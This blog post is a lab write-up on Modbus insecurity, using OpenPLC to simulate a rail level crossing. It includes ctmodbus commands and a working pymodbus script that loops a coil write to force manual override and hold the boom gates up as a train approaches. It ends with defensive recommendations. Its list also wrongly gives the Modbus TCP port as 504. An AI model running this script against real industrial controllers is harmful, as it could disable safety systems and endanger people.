In the realm of industrial control, Industrial Control Systems (ICS) play a crucial role in overseeing complex processes, with the widely used Modbus protocol serving as a key player in communication. This blog will delve into the security concerns surrounding ICS, placing a particular focus on the Modbus protocol, which will be discussed through a simple lab using OpenPLC. The exploration concludes with recommendations to defend against common attacks.

Modbus Brief Overview

If you're unfamiliar with Modbus, let's briefly understand what it is. Modbus, originally developed in the late 1970s by Modicon (now Schneider Electric), is a serial communication protocol widely used for connecting industrial electronic devices and systems like sensors and actuators. It employs a client-server architecture and offers many main variants such as Modbus RTU and Modbus TCP.

There are lots of information regarding Modbus on the Internet, so we won't go into too much details here. However the important points to note regarding Modbus are as follows:

  • Modbus TCP runs on port 504
  • Commands are encoded into Function Codes
  • No encryption or authentication
  • Used extensively in ICS due to its simplicity
  • More importantly, it's free!

Lab Setup

Embarking on the journey of experimenting with Modbus in a lab setting presents various options, ranging from investing in real PLCs to utilising emulation. Opting for a more accessible route, this lab discussion will employ OpenPLC, providing a lower barrier to entry for those wishing to follow along without the hefty price tag associated with traditional PLCs. OpenPLC is exceptional as it enables users to transform popular microcontrollers (e.g., Arduino, Raspberry Pi) into a PLC.

For the Human-Machine Interface (HMI), SCADA BR will be used to interact with our OpenPLC device.

In our lab scenario, we'll simulate a rail level crossing with a simplified logic. It's important to note that this simulation is not a true representation of a real-world level crossing design. Here's the basic rundown:

Normal Operation:

  • When an oncoming train is detected, the level crossing is activated, and the boom gates are lowered.

Manual Override:

  • During maintenance, a manual override can be enabled.
  • This allows the maintainer to manually control the boom gates, raising or dropping them.
⚠️
It's crucial to note that if an attacker gains access and performs a manual override during regular operation, it could compromise safety measures.

OpenPLC Editor

The following illustrates the simplified ladder logic created using OpenPLC Editor. The interface is intuitive, allowing users to drag and drop contacts, coils, blocks, and connect them with connectors.

The editor provides the flexibility to map contacts and coils to physical pins on a microcontroller, as shown in the "Location" column. There is also a debugger option, which proves handy for troubleshooting and ensuring the program is running as expected when simulated. For more detailed information, refer to the OpenPLC documentation.

OpenPLC Editor

OpenPLC Runtime

The OpenPLC Runtime enables users to run PLC programs created on the OpenPLC Editor. Once installed, it creates a webserver where users can upload the program file, which has the .st extension.

Another useful function is the 'Monitoring' feature, which allows real-time monitoring of various point names.

SCADA BR

SCADA BR can be utilised to create an HMI (Human Machine Interface) for our level crossing. This involves initially creating a data source that points to the IP address of the OpenPLC device.

Prior to designing the graphical view for the HMI, individual setpoints needs to be added based on their offset, starting from 0 in this case.

Now we can create a graphical view using the previously created set points. The following illustrates the level crossing activation when a train approaches. However, if the manual override button is pressed, a maintainer can manually activate or deactivate the level crossing.

Modbus Traffic Analysis

With the test environment set up, we can now analyse the Modbus protocol and explore potential vulnerabilities. Using Wireshark and filtering for Modbus traffic, we can see the following capture:

Modbus Wireshark capture

Building upon our existing knowledge of Modbus, we can observe and confirm that:

  • No authentication is required
  • Traffic is transmitted in plaintext
  • Coils are being written (Function code 5)
  • Coils are being read (Function code 1)
  • The slave/unit ID is 1

Attacking the PLC

The following are some common enumeration and attack tools for Modbus:

For this exercise we will be using ctmodbus, a tool written by Justin Searle, and also create our own Python script using pymodbus for the attack.

With ctmodbus, reading and writing infomation to the device, is as simple as connecting to it using its IP connect tcp <IP>, and then executing the read coils <address>  and write coil <address> <value> commands.

Reading and writing coils using ctmodbus 

A potential scenario for abuse involves an attacker causing a Denial of Service (DoS) to the level crossing system. For instance, if an unauthorised individual gains access to the network and enforces a manual override, consistently keeping the boom gates up as a train approaches, it could compromise safety - not good.

The following Python script is an example exploit this:

from pymodbus.client.sync import ModbusTcpClient

# Modbus TCP server address and port
server_ip = "192.168.205.128" 
server_port = 502 

# Modbus addresses of the coils to write to
coil_addresses = [3, 4] 

# Connect to the Modbus server
client = ModbusTcpClient(server_ip, port=server_port)
client.connect()

try:
    while True:
        # Manual Override true, Dropboomgate false
        new_coil_values = [True, False] 
       
        for coil_address, new_coil_value in zip(coil_addresses, new_coil_values):
            response = client.write_coil(coil_address, new_coil_value, unit=1)  # Unit ID is typically 1

            if response.isError():
                print(f"Modbus Write Coil Error: {response.getExceptionDescription()}")
            else:
                print(f"Coil {coil_address} set to {new_coil_value}")

except Exception as e:
    print(f"Error: {e}")

finally:
    # Disconnect from the Modbus server
    client.close()

While executing the script, control over the level crossing is lost. This is evident as the buttons no longer respond when clicked, and the crossing boom gates and signals remain deactivated even when a train approaches.

Recommendations

Based on the observations above, it is evident that Modbus has security vulnerabilities. Nevertheless, Modbus continues to be widely utilised in the ICS world due to its simplicity and historical usage. Coupled with the challenges associated with patching in the ICS environment, it is likely that Modbus will remain prevalent for a while.

With that said, here are some recommendations to further fortify your environment:

  • Know your critical ICS devices and their connections
  • Securely segment the ICS network
  • Implement layered security and defense-in-depth strategies
  • Perform regular penetration test internally and at the perimeter
  • Consider HoneyPots as an early warning system
  • Continuously monitor and detect anomalies

Final Thoughts

Modbus is a valuable communication protocol in industrial settings, yet its insecurities can't be overlooked. As industrial systems become increasingly interconnected and exposed to the internet, safeguarding Modbus implementations against potential threats is crucial. By understanding the risks, identifying vulnerabilities, and following best practices, you can fortify your Modbus environment and minimise the chances of a security breach. Stay vigilant and proactive in maintaining the security of your industrial systems to ensure smooth and secure operations.